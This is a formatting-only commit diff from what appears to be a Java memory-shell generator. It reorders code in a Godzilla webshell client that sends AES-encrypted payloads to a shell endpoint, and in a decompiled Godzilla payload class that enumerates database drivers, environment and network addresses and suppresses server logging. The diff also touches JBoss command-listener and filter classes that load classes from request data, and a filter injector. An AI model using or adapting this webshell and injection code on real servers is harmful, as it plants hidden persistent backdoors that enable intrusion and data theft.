style: code format

generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java

@@ -17,6 +17,7 @@ import static net.bytebuddy.jar.asm.Opcodes.POP;
 
 /**
  * Debug 信息打印移除器，目前仅支持移除 System.out.println() - （printf 还不支持） 和 e.printStackTrace()
+ *
  * @author ReaJason
  */
 public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {

generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java

@@ -14,6 +14,7 @@ import org.jetbrains.annotations.NotNull;
 
 /**
  * Servlet 包名替换，扫描包中所有 javax/servlet 将其替换成 jakarta/servlet。
+ *
  * @author ReaJason
  * @since 2024/11/23
  */

generator/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java

@@ -15,6 +15,7 @@ import org.jetbrains.annotations.NotNull;
 
 /**
  * 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本，用于 JDK8 的环境能生成任意 JDK 版本的字节码，默认使用 JDK6
+ *
  * @author ReaJason
  */
 public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper {

generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java

@@ -55,7 +55,7 @@ public class ShellConfig {
     @Builder.Default
     private boolean debug = false;
 
-    public boolean isDebugOff(){
+    public boolean isDebugOff() {
         return !debug;
     }
 

generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

@@ -29,8 +29,14 @@ import java.util.zip.GZIPOutputStream;
 @Getter
 @Setter
 public class GodzillaManager implements Closeable {
-    private final OkHttpClient client;
     private static final List<String> CLASS_NAMES;
+
+    static {
+        InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
+        CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
+    }
+
+    private final OkHttpClient client;
     private String cookie = "";
     private String entrypoint;
     private String key;
@@ -39,9 +45,8 @@ public class GodzillaManager implements Closeable {
     private Request request;
     private Map<String, String> headers = new HashMap<>();
 
-    static {
-        InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
-        CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
+    public GodzillaManager() {
+        this.client = new OkHttpClient.Builder().build();
     }
 
     public static Pair<String, String> getKeyMd5(String key, String pass) {
@@ -50,73 +55,10 @@ public class GodzillaManager implements Closeable {
         return Pair.of(md5Key, md5);
     }
 
-    public static class GodzillaManagerBuilder {
-        private String entrypoint;
-        private String key;
-        private String pass;
-        private final Map<String, String> headers = new HashMap<>();
-
-        public GodzillaManagerBuilder entrypoint(String entrypoint) {
-            this.entrypoint = entrypoint;
-            return this;
-        }
-
-        public GodzillaManagerBuilder key(String key) {
-            this.key = key;
-            return this;
-        }
-
-        public GodzillaManagerBuilder pass(String pass) {
-            this.pass = pass;
-            return this;
-        }
-
-        public GodzillaManagerBuilder header(String key, String value) {
-            this.headers.put(key, value);
-            return this;
-        }
-
-        public GodzillaManager build() {
-            GodzillaManager manager = new GodzillaManager();
-            manager.setEntrypoint(entrypoint);
-            manager.setPass(pass);
-            Pair<String, String> keyMd5 = getKeyMd5(key, pass);
-            manager.setKey(keyMd5.getLeft());
-            manager.setMd5(keyMd5.getRight());
-            Map<String, String> headers = new HashMap<>(16);
-            headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
-            headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
-            headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
-            headers.putAll(this.headers);
-            manager.setHeaders(headers);
-            return manager;
-        }
-    }
-
     public static GodzillaManagerBuilder builder() {
         return new GodzillaManagerBuilder();
     }
 
-    public GodzillaManager() {
-        this.client = new OkHttpClient.Builder().build();
-    }
-
-    private Response post(byte[] bytes) throws IOException {
-        byte[] aes = aes(this.key, bytes, true);
-        String base64String = Base64.encodeBase64String(aes);
-        RequestBody requestBody = new FormBody.Builder()
-                .add(this.pass, base64String)
-                .build();
-        Request.Builder builder = new Request.Builder()
-                .url(this.entrypoint)
-                .post(requestBody)
-                .headers(Headers.of(this.headers));
-        if (StringUtils.isNotBlank(cookie)) {
-            builder.header("Cookie", cookie);
-        }
-        return client.newCall(builder.build()).execute();
-    }
-
     @SneakyThrows
     public static byte[] generateGodzilla() {
         Random random = new Random();
@@ -130,52 +72,6 @@ public class GodzillaManager implements Closeable {
         }
     }
 
-    public boolean start() {
-        byte[] bytes = generateGodzilla();
-        try (Response response = post(bytes)) {
-            String setCookie = response.header("Set-Cookie");
-            if (setCookie != null && setCookie.contains("JSESSIONID=")) {
-                cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
-            }
-            if (response.isSuccessful()) {
-                return true;
-            }
-            System.out.println(response.body().string());
-        } catch (IOException e) {
-            e.printStackTrace();
-        }
-        return false;
-    }
-
-    public boolean test() {
-        byte[] bytes = generateMethodCallBytes("test");
-        try (Response response = post(bytes)) {
-            if (response.isSuccessful()) {
-                ResponseBody body = response.body();
-                if (body != null) {
-                    String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
-                    System.out.println(resultFromRes);
-                    return "ok".equals(resultFromRes);
-                }
-            }
-            return false;
-        } catch (IOException e) {
-            return false;
-        }
-    }
-
-    @Override
-    public void close() throws IOException {
-        byte[] bytes = generateMethodCallBytes("close");
-        try (Response response = post(bytes)) {
-            if (response.isSuccessful()) {
-                response.body();
-            }
-        } catch (IOException ignore) {
-
-        }
-    }
-
     /**
      * AES 加解密
      *
@@ -270,6 +166,72 @@ public class GodzillaManager implements Closeable {
         return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
     }
 
+    public static byte[] intToBytes(int value) {
+        return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
+    }
+
+    private Response post(byte[] bytes) throws IOException {
+        byte[] aes = aes(this.key, bytes, true);
+        String base64String = Base64.encodeBase64String(aes);
+        RequestBody requestBody = new FormBody.Builder()
+                .add(this.pass, base64String)
+                .build();
+        Request.Builder builder = new Request.Builder()
+                .url(this.entrypoint)
+                .post(requestBody)
+                .headers(Headers.of(this.headers));
+        if (StringUtils.isNotBlank(cookie)) {
+            builder.header("Cookie", cookie);
+        }
+        return client.newCall(builder.build()).execute();
+    }
+
+    public boolean start() {
+        byte[] bytes = generateGodzilla();
+        try (Response response = post(bytes)) {
+            String setCookie = response.header("Set-Cookie");
+            if (setCookie != null && setCookie.contains("JSESSIONID=")) {
+                cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
+            }
+            if (response.isSuccessful()) {
+                return true;
+            }
+            System.out.println(response.body().string());
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+
+    public boolean test() {
+        byte[] bytes = generateMethodCallBytes("test");
+        try (Response response = post(bytes)) {
+            if (response.isSuccessful()) {
+                ResponseBody body = response.body();
+                if (body != null) {
+                    String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
+                    System.out.println(resultFromRes);
+                    return "ok".equals(resultFromRes);
+                }
+            }
+            return false;
+        } catch (IOException e) {
+            return false;
+        }
+    }
+
+    @Override
+    public void close() throws IOException {
+        byte[] bytes = generateMethodCallBytes("close");
+        try (Response response = post(bytes)) {
+            if (response.isSuccessful()) {
+                response.body();
+            }
+        } catch (IOException ignore) {
+
+        }
+    }
+
     @SneakyThrows
     private byte[] generateMethodCallBytes(String methodName) {
         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
@@ -283,7 +245,46 @@ public class GodzillaManager implements Closeable {
         return byteArrayOutputStream.toByteArray();
     }
 
-    public static byte[] intToBytes(int value) {
-        return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
+    public static class GodzillaManagerBuilder {
+        private final Map<String, String> headers = new HashMap<>();
+        private String entrypoint;
+        private String key;
+        private String pass;
+
+        public GodzillaManagerBuilder entrypoint(String entrypoint) {
+            this.entrypoint = entrypoint;
+            return this;
+        }
+
+        public GodzillaManagerBuilder key(String key) {
+            this.key = key;
+            return this;
+        }
+
+        public GodzillaManagerBuilder pass(String pass) {
+            this.pass = pass;
+            return this;
+        }
+
+        public GodzillaManagerBuilder header(String key, String value) {
+            this.headers.put(key, value);
+            return this;
+        }
+
+        public GodzillaManager build() {
+            GodzillaManager manager = new GodzillaManager();
+            manager.setEntrypoint(entrypoint);
+            manager.setPass(pass);
+            Pair<String, String> keyMd5 = getKeyMd5(key, pass);
+            manager.setKey(keyMd5.getLeft());
+            manager.setMd5(keyMd5.getRight());
+            Map<String, String> headers = new HashMap<>(16);
+            headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
+            headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
+            headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
+            headers.putAll(this.headers);
+            manager.setHeaders(headers);
+            return manager;
+        }
     }
 }

generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java

@@ -29,13 +29,6 @@ import java.util.zip.GZIPOutputStream;
 @Generated
 public class Payload extends ClassLoader {
     public static final char[] toBase64 = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
-    HashMap parameterMap;
-    HashMap sessionMap;
-    Object servletContext;
-    Object servletRequest;
-    Object httpSession;
-    byte[] requestData;
-    ByteArrayOutputStream outputStream;
     static Class class$0;
     static Class class$1;
     static Class class$2;
@@ -47,6 +40,13 @@ public class Payload extends ClassLoader {
     static Class class$8;
     static Class class$9;
     static Class class$10;
+    HashMap parameterMap;
+    HashMap sessionMap;
+    Object servletContext;
+    Object servletRequest;
+    Object httpSession;
+    byte[] requestData;
+    ByteArrayOutputStream outputStream;
 
     public Payload() {
         this.parameterMap = new HashMap();
@@ -57,6 +57,229 @@ public class Payload extends ClassLoader {
         this.parameterMap = new HashMap();
     }
 
+    public static byte[] copyOf(byte[] original, int newLength) {
+        byte[] arrayOfByte = new byte[newLength];
+        System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength));
+        return arrayOfByte;
+    }
+
+    public static Connection getConnection(String url, String userName, String password) {
+        Connection connection = null;
+        try {
+            Class<?> cls = class$8;
+            if (cls == null) {
+                try {
+                    cls = Class.forName("java.sql.DriverManager");
+                    class$8 = cls;
+                } catch (ClassNotFoundException unused) {
+                    throw new NoClassDefFoundError(unused.getMessage());
+                }
+            }
+            Field[] fields = cls.getDeclaredFields();
+            Field field = null;
+            for (int i = 0; i < fields.length; i++) {
+                field = fields[i];
+                if (field.getName().indexOf("rivers") != -1) {
+                    Class<?> cls2 = class$9;
+                    if (cls2 == null) {
+                        try {
+                            cls2 = Class.forName("java.util.List");
+                            class$9 = cls2;
+                        } catch (ClassNotFoundException unused2) {
+                            throw new NoClassDefFoundError(unused2.getMessage());
+                        }
+                    }
+                    if (cls2.isAssignableFrom(field.getType())) {
+                        break;
+                    }
+                }
+                field = null;
+            }
+            if (field != null) {
+                field.setAccessible(true);
+                List drivers = (List) field.get(null);
+                Iterator iterator = drivers.iterator();
+                while (iterator.hasNext() && connection == null) {
+                    try {
+                        Object object = iterator.next();
+                        Driver driver = null;
+                        Class<?> cls3 = class$10;
+                        if (cls3 == null) {
+                            try {
+                                cls3 = Class.forName("java.sql.Driver");
+                                class$10 = cls3;
+                            } catch (ClassNotFoundException unused3) {
+                                throw new NoClassDefFoundError(unused3.getMessage());
+                            }
+                        }
+                        if (!cls3.isAssignableFrom(object.getClass())) {
+                            Field[] driverInfos = object.getClass().getDeclaredFields();
+                            int i2 = 0;
+                            while (true) {
+                                if (i2 >= driverInfos.length) {
+                                    break;
+                                }
+                                Class<?> cls4 = class$10;
+                                if (cls4 == null) {
+                                    try {
+                                        cls4 = Class.forName("java.sql.Driver");
+                                        class$10 = cls4;
+                                    } catch (ClassNotFoundException unused4) {
+                                        throw new NoClassDefFoundError(unused4.getMessage());
+                                    }
+                                }
+                                if (!cls4.isAssignableFrom(driverInfos[i2].getType())) {
+                                    i2++;
+                                } else {
+                                    driverInfos[i2].setAccessible(true);
+                                    driver = (Driver) driverInfos[i2].get(object);
+                                    break;
+                                }
+                            }
+                        }
+                        if (driver != null) {
+                            Properties properties = new Properties();
+                            if (userName != null) {
+                                properties.put("user", userName);
+                            }
+                            if (password != null) {
+                                properties.put("password", password);
+                            }
+                            connection = driver.connect(url, properties);
+                        }
+                    } catch (Exception e) {
+                    }
+                }
+            }
+        } catch (Exception e2) {
+        }
+        return connection;
+    }
+
+    public static String getLocalIPList() {
+        List ipList = new ArrayList();
+        try {
+            Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
+            while (networkInterfaces.hasMoreElements()) {
+                NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
+                Enumeration inetAddresses = networkInterface.getInetAddresses();
+                while (inetAddresses.hasMoreElements()) {
+                    InetAddress inetAddress = (InetAddress) inetAddresses.nextElement();
+                    if (inetAddress != null) {
+                        String ip = inetAddress.getHostAddress();
+                        ipList.add(ip);
+                    }
+                }
+            }
+        } catch (Exception e) {
+        }
+        return Arrays.toString(ipList.toArray());
+    }
+
+    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+        Field f2 = null;
+        if (obj instanceof Field) {
+            f2 = (Field) obj;
+        } else {
+            Class cs = obj.getClass();
+            while (cs != null) {
+                try {
+                    f2 = cs.getDeclaredField(fieldName);
+                    cs = null;
+                } catch (Exception e) {
+                    cs = cs.getSuperclass();
+                }
+            }
+        }
+        f2.setAccessible(true);
+        return f2.get(obj);
+    }
+
+    private static Class getClass(String name) {
+        try {
+            return Class.forName(name);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    public static int bytesToInt(byte[] bytes) {
+        int i = (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
+        return i;
+    }
+
+    public static String base64Encode(byte[] src) {
+        int end = src.length;
+        byte[] dst = new byte[4 * ((src.length + 2) / 3)];
+        char[] base64 = toBase64;
+        int sp = 0;
+        int slen = ((end - 0) / 3) * 3;
+        int sl = 0 + slen;
+        if (-1 > 0 && slen > ((-1) / 4) * 3) {
+            slen = ((-1) / 4) * 3;
+        }
+        int dp = 0;
+        while (sp < sl) {
+            int sl0 = Math.min(sp + slen, sl);
+            int sp0 = sp;
+            int dp0 = dp;
+            while (sp0 < sl0) {
+                int i = sp0;
+                int sp02 = sp0 + 1;
+                int sp03 = sp02 + 1;
+                int i2 = ((src[i] & 255) << 16) | ((src[sp02] & 255) << 8);
+                sp0 = sp03 + 1;
+                int bits = i2 | (src[sp03] & 255);
+                int i3 = dp0;
+                int dp02 = dp0 + 1;
+                dst[i3] = (byte) base64[(bits >>> 18) & 63];
+                int dp03 = dp02 + 1;
+                dst[dp02] = (byte) base64[(bits >>> 12) & 63];
+                int dp04 = dp03 + 1;
+                dst[dp03] = (byte) base64[(bits >>> 6) & 63];
+                dp0 = dp04 + 1;
+                dst[dp04] = (byte) base64[bits & 63];
+            }
+            int dlen = ((sl0 - sp) / 3) * 4;
+            dp += dlen;
+            sp = sl0;
+        }
+        if (sp < end) {
+            int i4 = sp;
+            int sp2 = sp + 1;
+            int b0 = src[i4] & 255;
+            int i5 = dp;
+            int dp2 = dp + 1;
+            dst[i5] = (byte) base64[b0 >> 2];
+            if (sp2 == end) {
+                int dp3 = dp2 + 1;
+                dst[dp2] = (byte) base64[(b0 << 4) & 63];
+                if (1 != 0) {
+                    int dp4 = dp3 + 1;
+                    dst[dp3] = 61;
+                    int i6 = dp4 + 1;
+                    dst[dp4] = 61;
+                }
+            } else {
+                int i7 = sp2 + 1;
+                int b1 = src[sp2] & 255;
+                int dp5 = dp2 + 1;
+                dst[dp2] = (byte) base64[((b0 << 4) & 63) | (b1 >> 4)];
+                int dp6 = dp5 + 1;
+                dst[dp5] = (byte) base64[(b1 << 2) & 63];
+                if (1 != 0) {
+                    int i8 = dp6 + 1;
+                    dst[dp6] = 61;
+                }
+            }
+        }
+        return new String(dst);
+    }
+
+    public static byte[] base64Decode(java.lang.String r7) {
+        throw new UnsupportedOperationException("Method not decompiled: p000.payload.base64Decode(java.lang.String):byte[]");
+    }
+
     public Class m632g(byte[] b) {
         return super.defineClass(b, 0, b.length);
     }
@@ -1018,12 +1241,6 @@ public class Payload extends ClassLoader {
         }
     }
 
-    public static byte[] copyOf(byte[] original, int newLength) {
-        byte[] arrayOfByte = new byte[newLength];
-        System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength));
-        return arrayOfByte;
-    }
-
     public Map getEnv() {
         try {
             int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3));
@@ -1074,119 +1291,6 @@ public class Payload extends ClassLoader {
         }
     }
 
-    public static Connection getConnection(String url, String userName, String password) {
-        Connection connection = null;
-        try {
-            Class<?> cls = class$8;
-            if (cls == null) {
-                try {
-                    cls = Class.forName("java.sql.DriverManager");
-                    class$8 = cls;
-                } catch (ClassNotFoundException unused) {
-                    throw new NoClassDefFoundError(unused.getMessage());
-                }
-            }
-            Field[] fields = cls.getDeclaredFields();
-            Field field = null;
-            for (int i = 0; i < fields.length; i++) {
-                field = fields[i];
-                if (field.getName().indexOf("rivers") != -1) {
-                    Class<?> cls2 = class$9;
-                    if (cls2 == null) {
-                        try {
-                            cls2 = Class.forName("java.util.List");
-                            class$9 = cls2;
-                        } catch (ClassNotFoundException unused2) {
-                            throw new NoClassDefFoundError(unused2.getMessage());
-                        }
-                    }
-                    if (cls2.isAssignableFrom(field.getType())) {
-                        break;
-                    }
-                }
-                field = null;
-            }
-            if (field != null) {
-                field.setAccessible(true);
-                List drivers = (List) field.get(null);
-                Iterator iterator = drivers.iterator();
-                while (iterator.hasNext() && connection == null) {
-                    try {
-                        Object object = iterator.next();
-                        Driver driver = null;
-                        Class<?> cls3 = class$10;
-                        if (cls3 == null) {
-                            try {
-                                cls3 = Class.forName("java.sql.Driver");
-                                class$10 = cls3;
-                            } catch (ClassNotFoundException unused3) {
-                                throw new NoClassDefFoundError(unused3.getMessage());
-                            }
-                        }
-                        if (!cls3.isAssignableFrom(object.getClass())) {
-                            Field[] driverInfos = object.getClass().getDeclaredFields();
-                            int i2 = 0;
-                            while (true) {
-                                if (i2 >= driverInfos.length) {
-                                    break;
-                                }
-                                Class<?> cls4 = class$10;
-                                if (cls4 == null) {
-                                    try {
-                                        cls4 = Class.forName("java.sql.Driver");
-                                        class$10 = cls4;
-                                    } catch (ClassNotFoundException unused4) {
-                                        throw new NoClassDefFoundError(unused4.getMessage());
-                                    }
-                                }
-                                if (!cls4.isAssignableFrom(driverInfos[i2].getType())) {
-                                    i2++;
-                                } else {
-                                    driverInfos[i2].setAccessible(true);
-                                    driver = (Driver) driverInfos[i2].get(object);
-                                    break;
-                                }
-                            }
-                        }
-                        if (driver != null) {
-                            Properties properties = new Properties();
-                            if (userName != null) {
-                                properties.put("user", userName);
-                            }
-                            if (password != null) {
-                                properties.put("password", password);
-                            }
-                            connection = driver.connect(url, properties);
-                        }
-                    } catch (Exception e) {
-                    }
-                }
-            }
-        } catch (Exception e2) {
-        }
-        return connection;
-    }
-
-    public static String getLocalIPList() {
-        List ipList = new ArrayList();
-        try {
-            Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
-            while (networkInterfaces.hasMoreElements()) {
-                NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
-                Enumeration inetAddresses = networkInterface.getInetAddresses();
-                while (inetAddresses.hasMoreElements()) {
-                    InetAddress inetAddress = (InetAddress) inetAddresses.nextElement();
-                    if (inetAddress != null) {
-                        String ip = inetAddress.getHostAddress();
-                        ipList.add(ip);
-                    }
-                }
-            }
-        } catch (Exception e) {
-        }
-        return Arrays.toString(ipList.toArray());
-    }
-
     public String getRealPath() {
         try {
             if (this.servletContext != null) {
@@ -1273,25 +1377,6 @@ public class Payload extends ClassLoader {
         return method;
     }
 
-    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
-        Field f2 = null;
-        if (obj instanceof Field) {
-            f2 = (Field) obj;
-        } else {
-            Class cs = obj.getClass();
-            while (cs != null) {
-                try {
-                    f2 = cs.getDeclaredField(fieldName);
-                    cs = null;
-                } catch (Exception e) {
-                    cs = cs.getSuperclass();
-                }
-            }
-        }
-        f2.setAccessible(true);
-        return f2.get(obj);
-    }
-
     private void noLog(Object servletContext) {
         try {
             Object applicationContext = getFieldValue(servletContext, "context");
@@ -1367,92 +1452,7 @@ public class Payload extends ClassLoader {
         }
     }
 
-    private static Class getClass(String name) {
-        try {
-            return Class.forName(name);
-        } catch (Exception e) {
-            return null;
-        }
-    }
-
-    public static int bytesToInt(byte[] bytes) {
-        int i = (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
-        return i;
-    }
-
     public String base64Encode(String data) {
         return base64Encode(data.getBytes());
     }
-
-    public static String base64Encode(byte[] src) {
-        int end = src.length;
-        byte[] dst = new byte[4 * ((src.length + 2) / 3)];
-        char[] base64 = toBase64;
-        int sp = 0;
-        int slen = ((end - 0) / 3) * 3;
-        int sl = 0 + slen;
-        if (-1 > 0 && slen > ((-1) / 4) * 3) {
-            slen = ((-1) / 4) * 3;
-        }
-        int dp = 0;
-        while (sp < sl) {
-            int sl0 = Math.min(sp + slen, sl);
-            int sp0 = sp;
-            int dp0 = dp;
-            while (sp0 < sl0) {
-                int i = sp0;
-                int sp02 = sp0 + 1;
-                int sp03 = sp02 + 1;
-                int i2 = ((src[i] & 255) << 16) | ((src[sp02] & 255) << 8);
-                sp0 = sp03 + 1;
-                int bits = i2 | (src[sp03] & 255);
-                int i3 = dp0;
-                int dp02 = dp0 + 1;
-                dst[i3] = (byte) base64[(bits >>> 18) & 63];
-                int dp03 = dp02 + 1;
-                dst[dp02] = (byte) base64[(bits >>> 12) & 63];
-                int dp04 = dp03 + 1;
-                dst[dp03] = (byte) base64[(bits >>> 6) & 63];
-                dp0 = dp04 + 1;
-                dst[dp04] = (byte) base64[bits & 63];
-            }
-            int dlen = ((sl0 - sp) / 3) * 4;
-            dp += dlen;
-            sp = sl0;
-        }
-        if (sp < end) {
-            int i4 = sp;
-            int sp2 = sp + 1;
-            int b0 = src[i4] & 255;
-            int i5 = dp;
-            int dp2 = dp + 1;
-            dst[i5] = (byte) base64[b0 >> 2];
-            if (sp2 == end) {
-                int dp3 = dp2 + 1;
-                dst[dp2] = (byte) base64[(b0 << 4) & 63];
-                if (1 != 0) {
-                    int dp4 = dp3 + 1;
-                    dst[dp3] = 61;
-                    int i6 = dp4 + 1;
-                    dst[dp4] = 61;
-                }
-            } else {
-                int i7 = sp2 + 1;
-                int b1 = src[sp2] & 255;
-                int dp5 = dp2 + 1;
-                dst[dp2] = (byte) base64[((b0 << 4) & 63) | (b1 >> 4)];
-                int dp6 = dp5 + 1;
-                dst[dp5] = (byte) base64[(b1 << 2) & 63];
-                if (1 != 0) {
-                    int i8 = dp6 + 1;
-                    dst[dp6] = 61;
-                }
-            }
-        }
-        return new String(dst);
-    }
-
-    public static byte[] base64Decode(java.lang.String r7) {
-        throw new UnsupportedOperationException("Method not decompiled: p000.payload.base64Decode(java.lang.String):byte[]");
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java

@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
     public CommandListener() {
     }
 
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     @Override
     public void requestDestroyed(ServletRequestEvent sre) {
 
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
         }
         return response;
     }
-
-    @SuppressWarnings("all")
-    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java

@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
         super(z);
     }
 
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
     @SuppressWarnings("all")
     public Class<?> Q(byte[] cb) {
         return super.defineClass(cb, 0, cb.length);
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
     @Override
     public void destroy() {
     }
-
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java

@@ -34,6 +34,76 @@ public class JbossFilterInjector {
         }
     }
 
+    static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream gzipInputStream = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = gzipInputStream.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
